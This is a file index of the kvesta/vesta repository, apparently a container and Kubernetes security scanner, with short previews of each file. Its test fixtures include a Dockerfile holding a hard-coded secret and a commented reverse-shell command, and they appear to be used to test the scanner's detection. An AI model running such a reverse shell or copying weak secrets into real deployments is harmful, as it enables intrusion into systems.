{
"path": "LICENSE",
"chars": 11357,
"preview": "\n Apache License\n Version 2.0, January 2004\n "
},
{
"path": "Makefile",
"chars": 571,
"preview": "LDFLAGS := -ldflags '-s -w'\nTAGS := -tags netgo\nLDFLAGS_STATIC := -ldflags '-w -s -extldflags \"-static\"'\n\nIMAGE_TAG := l"
},
{
"path": "README.md",
"chars": 35670,
"preview": "<p align=\"center\" style=\"text-align: center\">\n <img src=\"https://user-images.githubusercontent.com/35037256/212051309"
},
{
"path": "README.zh-Hans.md",
"chars": 33266,
"preview": "<p align=\"center\" style=\"text-align: center\">\n <img src=\"https://user-images.githubusercontent.com/35037256/212051309"
},
{
"path": "cli/analyze.go",
"chars": 2248,
"preview": "package cli\n\nimport (\n\t\"context\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/internal\"\n\t\"github.com/spf"
},
{
"path": "cli/banner.go",
"chars": 40,
"preview": "package cli\n\nconst versions = \"v1.0.11\"\n"
},
{
"path": "cli/cobra.go",
"chars": 466,
"preview": "package cli\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/spf13/cobra\"\n)\n\nfunc NoArgs(cmd *cobra.Command, args []s"
},
{
"path": "cli/command.go",
"chars": 1519,
"preview": "package cli\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\""
},
{
"path": "cli/scan.go",
"chars": 3720,
"preview": "package cli\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/kvesta/vesta/"
},
{
"path": "cmd/vesta/main.go",
"chars": 166,
"preview": "package main\n\nimport (\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/kvesta/vesta/cli\"\n)\n\nfunc main() {\n\tif err := cli.Execute(); err != ni"
},
{
"path": "config/conf.go",
"chars": 416,
"preview": "package config\n\nimport (\n\t\"context\"\n\n\t\"github.com/fatih/color\"\n)\n\nvar (\n\tYellow = color.New(color.FgYellow).SprintFunc()"
},
{
"path": "go.mod",
"chars": 4068,
"preview": "module github.com/kvesta/vesta\n\ngo 1.18\n\nrequire (\n\tgithub.com/BurntSushi/toml v0.3.1\n\tgithub.com/docker/docker v20.10.1"
},
{
"path": "go.sum",
"chars": 61668,
"preview": "cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw=\ncloud.google.com/go v0.34.0/go.mod h1"
},
{
"path": "helm/vesta/.helmignore",
"chars": 349,
"preview": "# Patterns to ignore when building packages.\n# This supports shell glob matching, relative path matching, and\n# negation"
},
{
"path": "helm/vesta/Chart.yaml",
"chars": 214,
"preview": "apiVersion: v2\nname: vesta\ndescription: Vesta helm chart\ntype: application\nversion: 0.1.0\nappVersion: \"1.0.11\"\nkeywords:"
},
{
"path": "helm/vesta/README.md",
"chars": 341,
"preview": "# Vesta Scanner\n\nVesta toolkit standalone installation.\n\n## TL;DR;\n\n```\n$ helm install vesta . --namespace vesta --creat"
},
{
"path": "helm/vesta/templates/_helpers.tpl",
"chars": 1762,
"preview": "{{/*\nExpand the name of the chart.\n*/}}\n{{- define \"vesta.name\" -}}\n{{- default .Chart.Name .Values.nameOverride | trunc"
},
{
"path": "helm/vesta/templates/clusterrole.yaml",
"chars": 231,
"preview": "kind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n name: {{ .Release.Name }}-clusterrole\n namespace"
},
{
"path": "helm/vesta/templates/clusterrolebinding.yaml",
"chars": 360,
"preview": "kind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n name: {{ include \"vesta.fullname\" . }}-clu"
},
{
"path": "helm/vesta/templates/job.yaml",
"chars": 526,
"preview": "{{- range $job := .Values.jobs }}\n---\napiVersion: batch/v1\nkind: Job\nmetadata:\n name: \"{{ $job.name }}\"\n\nspec:\n templa"
},
{
"path": "helm/vesta/templates/serviceaccount.yaml",
"chars": 124,
"preview": "apiVersion: v1\nkind: ServiceAccount\nmetadata:\n name: {{ include \"vesta.fullname\" . }}\n namespace: {{ .Release.Namespac"
},
{
"path": "helm/vesta/values.yaml",
"chars": 250,
"preview": "nameOverride: \"\"\nfullnameOverride: \"\"\n\njobs:\n - name: vesta\n image:\n registry: docker.io\n repository: kves"
},
{
"path": "internal/analyzer/analyze.go",
"chars": 9643,
"preview": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/docker/docker/api/types\"\n\t\"github.c"
},
{
"path": "internal/analyzer/analyze_test.go",
"chars": 3690,
"preview": "package analyzer\n\nimport (\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestSortSeverity(t *testing.T) {\n\ttype args struct {\n\t\tthreats "
},
{
"path": "internal/analyzer/docker.go",
"chars": 15609,
"preview": "package analyzer\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"githu"
},
{
"path": "internal/analyzer/docker_history.go",
"chars": 6841,
"preview": "package analyzer\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\timagev1 \"github.com/docker/docker/api/types/image\"\n\t_con"
},
{
"path": "internal/analyzer/k8s_cni.go",
"chars": 18275,
"preview": "package analyzer\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/htt"
},
{
"path": "internal/analyzer/k8s_configuration.go",
"chars": 13784,
"preview": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os/exec\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/docker/docker/client\"\n\tv"
},
{
"path": "internal/analyzer/k8s_dashboard.go",
"chars": 2057,
"preview": "package analyzer\n\nimport (\n\t\"context\"\n\t\"log\"\n\n\trv1 \"k8s.io/api/rbac/v1\"\n\tmetav1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n)"
},
{
"path": "internal/analyzer/k8s_pod.go",
"chars": 17913,
"preview": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta/config\"\n\n\tv1 \"k8s.i"
},
{
"path": "internal/analyzer/k8s_rbac.go",
"chars": 20330,
"preview": "package analyzer\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/config\"\n\trv1 \"k8s.io"
},
{
"path": "internal/analyzer/scanner.go",
"chars": 845,
"preview": "package analyzer\n\nimport (\n\t\"github.com/kvesta/vesta/pkg/inspector\"\n\t\"k8s.io/client-go/kubernetes\"\n\t\"k8s.io/client-go/re"
},
{
"path": "internal/analyzer/testdata/Dockerfile",
"chars": 370,
"preview": "FROM busybox:latest\n\nLABEL maintainer=\"vuln docker image\"\n\nENV SECRET_KEY=123456\n\n# bash -i >&/dev/tcp/127.0.0.1/9999 0>"
},
{
"path": "internal/analyzer/testdata/clusterrolebinding.yaml",
"chars": 1163,
"preview": "kind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n namespace: default\n name: vuln-clusterrole\nrules"
},
{
"path": "internal/analyzer/testdata/configmap.yaml",
"chars": 187,
"preview": "apiVersion: v1\nkind: ConfigMap\nmetadata:\n name: vulnconfig\n labels:\n app: configmap\ndata:\n POSTGRES_PASSWORD: post"
},
{
"path": "internal/analyzer/testdata/daemonset.yaml",
"chars": 842,
"preview": "apiVersion: apps/v1\nkind: DaemonSet\nmetadata:\n name: vuln-daemonset\n namespace: kube-system\n labels:\n k8s-app: vul"
},
{
"path": "internal/analyzer/testdata/docker-compose.yaml",
"chars": 90,
"preview": "services:\n web:\n image: vesta-vuln-test:latest\n build:\n dockerfile: Dockerfile"
},
{
"path": "internal/analyzer/testdata/job.yaml",
"chars": 458,
"preview": "apiVersion: batch/v1\nkind: Job\n\nmetadata:\n name: vulnjob\nspec:\n template:\n spec:\n containers:\n - name: vu"
},
{
"path": "internal/analyzer/testdata/pod.yaml",
"chars": 1871,
"preview": "apiVersion: v1\nkind: Pod\nmetadata:\n name: vulntest\n labels:\n app: vulntest\nspec:\n automountServiceAccountToken: fa"
},
{
"path": "internal/analyzer/testdata/podsecuritypolicy.yaml",
"chars": 287,
"preview": "apiVersion: policy/v1beta1\nkind: PodSecurityPolicy\nmetadata:\n name: pod-security-policy-vuln\nspec:\n privileged: true\n "
},
{
"path": "internal/analyzer/testdata/pv.yaml",
"chars": 217,
"preview": "apiVersion: v1\nkind: PersistentVolume\nmetadata:\n name: testpv\n labels:\n type: local\nspec:\n storageClassName: manua"
},
{
"path": "internal/analyzer/testdata/pvc.yaml",
"chars": 179,
"preview": "apiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n name: pvc\nspec:\n storageClassName: manual\n accessModes:\n - R"
},
{
"path": "internal/analyzer/testdata/rolebinding.yaml",
"chars": 958,
"preview": "kind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n namespace: default\n name: vuln-role\nrules:\n- apiGroups:"
},
{
"path": "internal/analyzer/testdata/secret.yaml",
"chars": 1051,
"preview": "apiVersion: v1\nkind: Secret\nmetadata:\n name: vulnsecret-basic-auth\ntype: kubernetes.io/basic-auth\nstringData:\n usernam"
},
{
"path": "internal/analyzer/utils.go",
"chars": 14130,
"preview": "package analyzer\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"math\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n\n\t"
},
{
"path": "internal/encode.go",
"chars": 299,
"preview": "package internal\n\nimport (\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc RandomString() string {\n\trand.Seed(time.Now().UnixNano())\n\n\tchar"
},
{
"path": "internal/extract.go",
"chars": 1920,
"preview": "package internal\n\nimport (\n\t\"archive/tar\"\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/kvesta/vesta/pkg\""
},
{
"path": "internal/inspect.go",
"chars": 393,
"preview": "package internal\n\nimport (\n\t\"archive/tar\"\n\t\"context\"\n\t\"github.com/kvesta/vesta/pkg/layer\"\n)\n\n// Inspect get inspector st"
},
{
"path": "internal/report/files.go",
"chars": 2540,
"preview": "package report\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta"
},
{
"path": "internal/report/output.go",
"chars": 5749,
"preview": "package report\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"github.com/k"
},
{
"path": "internal/scanner.go",
"chars": 516,
"preview": "package internal\n\nimport (\n\t\"github.com/kvesta/vesta/internal/analyzer\"\n\t\"github.com/kvesta/vesta/internal/vulnscan\"\n\t\"g"
},
{
"path": "internal/utils.go",
"chars": 5897,
"preview": "package internal\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\n\t\"github.com/kvesta/vesta/config\"\n\t\"g"
},
{
"path": "internal/vulnscan/scanner.go",
"chars": 508,
"preview": "package vulnscan\n\nimport (\n\t\"github.com/kvesta/vesta/pkg/packages\"\n\t\"github.com/kvesta/vesta/pkg/vulnlib\"\n)\n\ntype Scanne"
},
{
"path": "internal/vulnscan/utils.go",
"chars": 1352,
"preview": "package vulnscan\n\nimport (\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vesta/co"
},
{
"path": "internal/vulnscan/vuln.go",
"chars": 16292,
"preview": "package vulnscan\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/kvesta/vest"
},
{
"path": "pkg/extractor.go",
"chars": 2950,
"preview": "package pkg\n\nimport (\n\t\"archive/tar\"\n\t\"errors\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc exists(p"
},
{
"path": "pkg/inspector/client.go",
"chars": 162,
"preview": "package inspector\n\nimport (\n\t\"context\"\n\n\t\"github.com/docker/docker/client\"\n)\n\nvar (\n\tctx = context.Background()\n)\n\ntype "
},
{
"path": "pkg/inspector/container.go",
"chars": 2771,
"preview": "package inspector\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/docker/docker/api/types\"\n\t\"github.com/kvest"
},
{
"path": "pkg/inspector/image.go",
"chars": 1442,
"preview": "package inspector\n\nimport (\n\t\"io\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/docker/docker/api/types\"\n\timagev1 \"github.co"
},
{
"path": "pkg/inspector/utils.go",
"chars": 815,
"preview": "package inspector\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\n\t\"github.com/docker/docker/client\"\n)\n\nfunc GetTarFromID(ctx context"
},
{
"path": "pkg/layer/files.go",
"chars": 549,
"preview": "package layer\n\nimport (\n\t\"bytes\"\n\t\"io/fs\"\n\t\"os\"\n)\n\nfunc (m *Manifest) File(file string) (*bytes.Buffer, error) {\n\tfsys :"
},
{
"path": "pkg/layer/integrator.go",
"chars": 2394,
"preview": "package layer\n\nimport (\n\t\"archive/tar\"\n\t\"context\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strin"
},
{
"path": "pkg/layer/layer.go",
"chars": 583,
"preview": "package layer\n\nimport (\n\t\"archive/tar\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/kvesta/vesta/pkg\"\n)\n\ntype Layer struc"
},
{
"path": "pkg/layer/manifest.go",
"chars": 337,
"preview": "package layer\n\nimport (\n\t_image \"github.com/kvesta/vesta/pkg/inspector\"\n)\n\ntype Manifest struct {\n\tName string "
},
{
"path": "pkg/match/match_test.go",
"chars": 3029,
"preview": "package match\n\nimport (\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestPythonMatch(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n"
},
{
"path": "pkg/match/node_packs.go",
"chars": 670,
"preview": "package match\n\nimport \"strings\"\n\nvar (\n\tnpms = []string{\"pug\", \"axios\", \"typescript\", \"mongodb\", \"lodash\", \"Mongoose\", \""
},
{
"path": "pkg/match/python_packs.go",
"chars": 4263,
"preview": "package match\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nvar (\n\tpypis = []string{\"requests\", \"Django\", "
},
{
"path": "pkg/match/utils.go",
"chars": 1014,
"preview": "package match\n\nimport (\n\t\"strings\"\n\n\t\"github.com/sergi/go-diff/diffmatchpatch\"\n)\n\ntype Suspicion struct {\n\tTypes Op"
},
{
"path": "pkg/osrelease/analyzer.go",
"chars": 5037,
"preview": "package osrelease\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kv"
},
{
"path": "pkg/osrelease/osversion.go",
"chars": 272,
"preview": "package osrelease\n\nimport \"time\"\n\ntype OsVersion struct {\n\tNAME string `json:\"name\"`\n\tOID string `json:\"oid"
},
{
"path": "pkg/packages/apt.go",
"chars": 1022,
"preview": "package packages\n\nimport (\n\t\"context\"\n\t\"strings\"\n)\n\n// getAptPacks get apt and dpkg packages\nfunc (s *Packages) getAptPa"
},
{
"path": "pkg/packages/arch.go",
"chars": 612,
"preview": "package packages\n\nimport (\n\t\"context\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc (s *Packages) getArchPacks(ctx context.Context, pacma"
},
{
"path": "pkg/packages/general.go",
"chars": 6395,
"preview": "package packages\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"sort\"\n\t\"s"
},
{
"path": "pkg/packages/get_package.go",
"chars": 1037,
"preview": "package packages\n\nimport (\n\t\"context\"\n\t\"log\"\n\t\"strings\"\n)\n\nvar (\n\trpmId = []string{\"centos\", \"rhel\", \"ol\"}\n)\n\nfunc (s *P"
},
{
"path": "pkg/packages/go.go",
"chars": 1021,
"preview": "package packages\n\nimport (\n\t\"debug/buildinfo\"\n\t\"io\"\n\t\"strings\"\n)\n\ntype MOD struct {\n\tName string `json:\"name\"`\n\tPath "
},
{
"path": "pkg/packages/java.go",
"chars": 2701,
"preview": "package packages\n\nimport (\n\t\"archive/zip\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n)\n\ntype JAV"
},
{
"path": "pkg/packages/node.go",
"chars": 1373,
"preview": "package packages\n\nimport (\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/tidwall/gjson\"\n)"
},
{
"path": "pkg/packages/package.go",
"chars": 954,
"preview": "package packages\n\nimport (\n\t\"github.com/kvesta/vesta/pkg/layer\"\n\t\"github.com/kvesta/vesta/pkg/osrelease\"\n)\n\ntype Package"
},
{
"path": "pkg/packages/parse_test.go",
"chars": 2804,
"preview": "package packages\n\nimport (\n\t\"io\"\n\t\"os\"\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestParseGo(t *testing.T) {\n\ttype args struct {\n\t\tr"
},
{
"path": "pkg/packages/php.go",
"chars": 3535,
"preview": "package packages\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com"
},
{
"path": "pkg/packages/python.go",
"chars": 3291,
"preview": "package packages\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/BurntSushi/"
},
{
"path": "pkg/packages/rpm.go",
"chars": 697,
"preview": "package packages\n\nimport (\n\t\"context\"\n\t\"path/filepath\"\n\n\trpmdb \"github.com/knqyf263/go-rpmdb/pkg\"\n)\n\nfunc (s *Packages) "
},
{
"path": "pkg/packages/rust.go",
"chars": 618,
"preview": "package packages\n\nimport (\n\t\"io\"\n\n\t\"github.com/microsoft/go-rustaudit\"\n)\n\ntype Rust struct {\n\tName string `json:\"name\""
},
{
"path": "pkg/vulnlib/client.go",
"chars": 669,
"preview": "package vulnlib\n\nimport (\n\t\"database/sql\"\n\t\"net/http\"\n)\n\ntype Client struct {\n\tCli *http.Client\n\tDB *sql.DB\n\n\tStore str"
},
{
"path": "pkg/vulnlib/cvss.go",
"chars": 7888,
"preview": "package vulnlib\n\nimport (\n\t\"bufio\"\n\t\"compress/gzip\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path"
},
{
"path": "pkg/vulnlib/db.go",
"chars": 3382,
"preview": "package vulnlib\n\nimport (\n\t\"crypto/md5\"\n\t\"database/sql\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n"
},
{
"path": "pkg/vulnlib/getvuln.go",
"chars": 3605,
"preview": "package vulnlib\n\nimport (\n\t\"context\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"strings\"\n\t\"time"
},
{
"path": "pkg/vulnlib/oscs.go",
"chars": 5064,
"preview": "package vulnlib\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/http\"\n\t\"regexp"
}
]
// ... and 2 more files (download for full content)
About this extraction
This page contains the full source code of the kvesta/vesta GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 93 files (393.7 KB), approximately 128.4k tokens, and a symbol index with 257 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.